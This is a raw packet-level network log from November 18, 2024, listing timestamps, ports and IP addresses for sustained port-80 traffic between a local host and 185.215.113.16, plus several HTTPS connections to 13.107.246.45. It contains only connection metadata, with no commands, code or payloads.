Nov 18, 2024 20:21:35.766509056 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.766513109 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.766524076 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.766532898 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.766535997 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.766550064 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.766558886 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.766561985 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.766578913 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.766583920 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.766598940 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.766602039 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.766613960 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.766627073 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.766642094 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.766648054 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.766654968 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.766664982 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.766669035 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.766674995 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.766693115 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.766693115 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.766702890 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.766715050 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.766717911 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.766732931 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.766735077 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.766743898 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.766755104 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.766765118 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.766771078 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.766776085 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.766796112 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.766808987 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.766823053 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.766836882 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.766848087 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.766860008 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.766874075 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.766880035 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.766885996 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.766896009 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.766901016 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.766926050 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.767057896 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.767071009 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.767082930 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.767093897 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.767100096 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.767107010 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.767122030 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.767158985 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.767199993 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.767211914 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.767225027 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.767246962 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.767247915 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.767257929 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.767270088 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.767282009 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.767287016 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.767296076 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.767307997 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.767307997 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.767323971 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.767335892 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.767338991 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.767349005 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.767360926 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.767373085 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.767373085 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.767380953 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.767385006 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.767395973 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.767407894 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.767407894 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.767443895 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.767471075 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.767482996 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.767508030 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.767534018 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.767546892 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.767565966 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.767579079 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.767580032 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.767591000 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.767602921 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.767605066 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.767618895 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.767627954 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.767632008 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.767652035 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.767719984 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.767730951 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.767743111 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.767765045 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.767787933 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.767816067 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.767827034 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.767838955 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.767851114 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.767858982 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.767863035 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.767877102 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.767883062 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.767888069 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.767900944 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.767918110 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.767942905 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.767976046 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.768182993 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.768196106 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.768208027 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.768220901 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.768233061 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.768239021 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.768244982 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.768258095 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.768263102 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.768270016 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.768275976 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.768285990 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.768296003 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.768309116 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.768316031 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.768326998 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.768330097 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.768342972 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.768353939 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.768366098 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.768368959 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.768378973 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.768392086 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.768392086 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.768405914 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.768416882 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.768416882 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.768429995 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.768440962 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.768444061 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.768465996 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.770806074 CET	443	49780	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:35.771199942 CET	49780	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:35.771224976 CET	443	49780	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:35.771622896 CET	49780	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:35.771629095 CET	443	49780	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:35.771696091 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.772547960 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.789490938 CET	443	49781	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:35.791155100 CET	49781	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:35.791196108 CET	443	49781	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:35.791574955 CET	49781	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:35.791584015 CET	443	49781	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:35.797270060 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.797327042 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.797337055 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.797377110 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.797418118 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.799525976 CET	443	49782	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:35.800214052 CET	49782	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:35.800230980 CET	443	49782	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:35.800581932 CET	49782	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:35.800586939 CET	443	49782	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:35.876540899 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.876568079 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.876580954 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.876591921 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.876604080 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.876626015 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.876637936 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.876648903 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.876652002 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.876660109 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.876672029 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.876684904 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.876705885 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.876724958 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.876729965 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.876735926 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.876748085 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.876771927 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.876786947 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.876893997 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.876904964 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.876923084 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.876938105 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.876943111 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.876949072 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.876960993 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.876971006 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.876981974 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.876981974 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.876993895 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.877007008 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.877018929 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.877021074 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.877031088 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.877041101 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.877057076 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.877080917 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.877089024 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.877100945 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.877110958 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.877136946 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.877518892 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.877531052 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.877562046 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.877584934 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.877595901 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.877608061 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.877620935 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.877629995 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.877634048 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.877644062 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.877681971 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.877729893 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.877741098 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.877753019 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.877764940 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.877769947 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.877775908 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.877788067 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.877801895 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.877810955 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.877810955 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.877836943 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.877846956 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.877867937 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.877878904 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.877890110 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.877901077 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.877918005 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.877919912 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.877929926 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.877954006 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.877978086 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.877995014 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.878005981 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.878016949 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.878027916 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.878032923 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.878074884 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.878120899 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.878133059 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.878144026 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.878155947 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.878168106 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.878170013 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.878179073 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.878187895 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.878215075 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.878264904 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.878276110 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.878288031 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.878298044 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.878309011 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.878314972 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.878319025 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.878328085 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.878330946 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.878345966 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.878350973 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.878362894 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.878374100 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.878385067 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.878388882 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.878429890 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.878438950 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.878451109 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.878462076 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.878483057 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.878501892 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.878587008 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.878597975 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.878609896 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.878621101 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.878632069 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.878637075 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.878653049 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.878654957 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.878664017 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.878674030 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.878686905 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.878690958 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.878704071 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.878709078 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.878719091 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.878731012 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.878758907 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.878772974 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.878823996 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.878834963 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.878845930 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.878856897 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.878865957 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.878869057 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.878899097 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.879079103 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.879090071 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.879101038 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.879112005 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.879123926 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.879125118 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.879143953 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.879153013 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.879156113 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.879167080 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.879172087 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.879179955 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.879190922 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.879195929 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.879201889 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.879220963 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.879234076 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.879662991 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.886234999 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.886275053 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.886344910 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.889995098 CET	443	49779	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:35.890381098 CET	443	49779	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:35.890465975 CET	49779	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:35.890670061 CET	49779	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:35.890695095 CET	443	49779	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:35.890707970 CET	49779	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:35.890717030 CET	443	49779	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:35.893356085 CET	49784	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:35.893439054 CET	443	49784	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:35.893526077 CET	49784	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:35.894505024 CET	49784	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:35.894540071 CET	443	49784	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:35.917227983 CET	443	49781	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:35.917433023 CET	443	49781	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:35.917509079 CET	49781	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:35.920561075 CET	49781	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:35.920583963 CET	443	49781	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:35.920597076 CET	49781	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:35.920602083 CET	443	49781	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:35.923088074 CET	49785	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:35.923134089 CET	443	49785	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:35.923324108 CET	49785	443	192.168.2.5	13.107.246.45
